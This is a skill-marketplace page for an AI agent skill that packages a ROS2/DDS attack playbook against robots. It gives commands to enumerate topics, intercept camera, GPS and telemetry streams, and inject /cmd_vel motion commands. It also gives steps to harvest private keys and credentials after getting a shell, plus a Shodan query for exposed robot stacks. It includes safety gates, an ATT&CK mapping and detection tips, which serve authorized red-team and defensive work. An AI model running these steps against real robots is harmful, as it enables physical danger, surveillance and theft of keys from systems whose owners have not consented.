# Ros2 Dds Attack

> ROS2/DDS network attack: unauthenticated topic enumeration, message injection, and telemetry interception against robotic platforms and autonomous systems.

- Skill: `purpleailab/ros2-dds-attack` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/ros2-dds-attack`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/ros2-dds-attack/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/ros2-dds-attack

---


# ROS2 / DDS Attack Playbook

> Authorized use only. ROS2 engagement requires explicit RoE scoping the robot
> platform as in-scope. Message injection on a live robot can cause physical harm.
> Confirm `safety_critical_confirmed=true` in the active OPPLAN before any
> publish/inject step.

## Background

ROS2 (Robot Operating System 2) uses DDS (Data Distribution Service) as its
transport layer. By default, DDS operates in multicast discovery mode on the
local network segment with **no authentication and no encryption**. Any host on
the same subnet can enumerate all nodes and topics, subscribe to sensor streams,
and publish commands to actuators. CAI's research on the Unitree G1 humanoid
robot (2025) confirmed 20+ exposed ROS2/DDS topics carrying audio, video, GPS,
and motor telemetry over an unauthenticated DDS domain.

## Phase 1 — Discovery

### Network prerequisites

ROS2 DDS discovery uses UDP multicast (239.255.0.1, port 7400 by default for
Fast-DDS; 239.255.0.2 for CycloneDDS). The attacker machine must be on the same
Layer-2 segment or the network must pass multicast.

```bash
# Verify multicast reachability
ip route show | grep -i multicast
ping -c 3 239.255.0.1

# Passive DDS traffic capture (identify domain IDs in use)
sudo tshark -i <iface> -Y rtps -T fields \
  -e ip.src -e ip.dst -e rtps.domain_id -e rtps.guid_prefix \
  -l 2>/dev/null | sort -u | head -40
```

### ROS2 node and topic enumeration

If the attacker can install `ros2` CLI tools (available in a Docker container
on the attacker host — no robot-side access required):

```bash
# Pull a minimal ROS2 humble image
docker run --rm --net=host \
  ros:humble \
  bash -c "source /opt/ros/humble/setup.bash && ros2 node list && ros2 topic list -t"
```

Without Docker, use the raw DDS discovery sniffer `ddsspy` or `rtpspy`:

```bash
# rclpy-based passive enumeration (Python, no ROS2 install on attacker)
pip install cyclonedds  # pure-Python DDS implementation
python3 - <<'EOF'
import cyclonedds.core, cyclonedds.domain, cyclonedds.topic
import time

dp = cyclonedds.domain.Domain(0)          # domain_id=0 is default
sub = cyclonedds.core.Subscriber(dp)
# List discovered topics after 10s passive window
time.sleep(10)
for t in dp.lookup_topicdescriptions():
    print(t.name, t.type_name)
EOF
```

### Shodan / Censys pivot (remote assessment)

Shodan indexes open DDS / RTPS ports. Query for exposed ROS2 stacks reachable
from the Internet (rare but documented in robotics fleets):

```
shodan search 'port:7400 product:"RTPS"'
```

## Phase 2 — Telemetry Interception

Subscribe to any topic without credentials:

```bash
docker run --rm --net=host ros:humble \
  bash -c "source /opt/ros/humble/setup.bash && \
           ros2 topic echo /camera/image_raw --no-arr | head -50"

# Capture raw DDS traffic for offline analysis
sudo tcpdump -i <iface> -w /tmp/ros2_capture.pcap \
  'udp and (port 7400 or port 7401 or portrange 7410-7500)'
```

Topics of particular interest on robotic platforms:

| Topic pattern | Content |
|---|---|
| `/cmd_vel` | Velocity commands (Twist msg — direct actuator control) |
| `/joint_states` | Motor encoder data |
| `/camera/*` | Camera streams |
| `/gps/fix` or `/NavSatFix` | GPS telemetry |
| `/rosout` | System log (reveals software versions, errors) |
| `/tf` / `/tf_static` | Coordinate transform tree (reveals robot geometry) |
| `/diagnostics` | Hardware diagnostics |

## Phase 3 — Message Injection (GATED — write-scope only)

> **STOP.** Confirm `safety_critical_confirmed=true` + operator signature at
> `/workspace/safety-attestation.txt` before executing any publish command.
> A single malformed `/cmd_vel` can drive a robot into a person or off a ledge.

```bash
# Publish a zero-velocity stop command (safest inject for PoC)
docker run --rm --net=host ros:humble \
  bash -c "source /opt/ros/humble/setup.bash && \
           ros2 topic pub --once /cmd_vel geometry_msgs/msg/Twist \
           '{linear: {x: 0.0}, angular: {z: 0.0}}'"

# For full PoC with a non-zero command (requires explicit PoC approval):
# ros2 topic pub --once /cmd_vel geometry_msgs/msg/Twist \
#   '{linear: {x: 0.1}, angular: {z: 0.0}}'
```

### MiR (Mobile Industrial Robot) ROS1 variant

MiR robots run ROS1 (not ROS2). The attack surface is the same but uses
`rostopic` / `rosnode` instead of `ros2`:

```bash
export ROS_MASTER_URI=http://<robot_ip>:11311
export ROS_IP=<attacker_ip>
rostopic list
rostopic echo /robot_state
# Inject alarm trigger
rostopic pub /mir_cmd_vel geometry_msgs/Twist '{linear: {x: 0.0}}'
```

## Phase 4 — Credential and Key Extraction

CAI's Unitree G1 research found:
- RSA private keys stored at world-writable permissions (`chmod 666`)
- Hardcoded AES keys in the BLE provisioning subsystem
- MQTT topics backhauling to vendor cloud (43.175.228.18:17883) unencrypted

After gaining shell access (via BLE command injection or SSH with hardcoded
credentials from firmware extraction):

```bash
# Find overpermissioned key material
find / -name "*.pem" -o -name "*.key" -o -name "id_rsa" 2>/dev/null | \
  xargs ls -la 2>/dev/null | grep -E 'rw.rw.rw|666|777'

# Extract MQTT backhaul targets from running processes
ss -tnp | grep -E ':1883|:8883|:17883'
strings /proc/$(pgrep -f mqtt)/exe 2>/dev/null | grep -E 'mqtt|broker|topic'

# Dump ROS2 security config (if SROS2 is configured — often misconfigured)
find / -name "*.xml" -path "*/security/*" 2>/dev/null
cat /ros2_ws/install/*/share/*/keystore/enclaves/**/*.pem 2>/dev/null
```

## ATT&CK Mapping

| Technique | ID | Notes |
|---|---|---|
| Network Sniffing | T1040 | Passive DDS/RTPS traffic capture |
| Man in the Middle | T0830 | DDS domain participant impersonation |
| Modify Control Logic | T0856 | `/cmd_vel` injection |
| Unauthorized Command Message | T0855 | ROS topic publish without auth |
| Network DoS | T1499 | Flood `/cmd_vel` to cause E-stop |
| Hardcoded Credentials | T1552.001 | Keys in world-writable files |

## Detection

- Unexpected DDS participant GUIDs on the robot's network segment.
- `/cmd_vel` publish from a source other than the authorized control node.
- Outbound MQTT connections to non-allowlisted broker IPs.
- `ros2 topic list` queries from an IP outside the robot's operational subnet.

Sigma rule target: process auditing on the robot's companion computer for
`ros2 topic pub` invocations with unexpected source IPs in the RTPS participant
announcements.

## References

- aliasrobotics/cai Unitree G1 case study (2025) — BLE injection + ROS2 topic enumeration
- aliasrobotics/cai MiR case study — ROS1 message injection
- ROS2 Security Working Group: `design.ros2.org/articles/ros2_dds_security.html`
- SROS2 hardening: `docs.ros.org/en/rolling/Tutorials/Advanced/Security`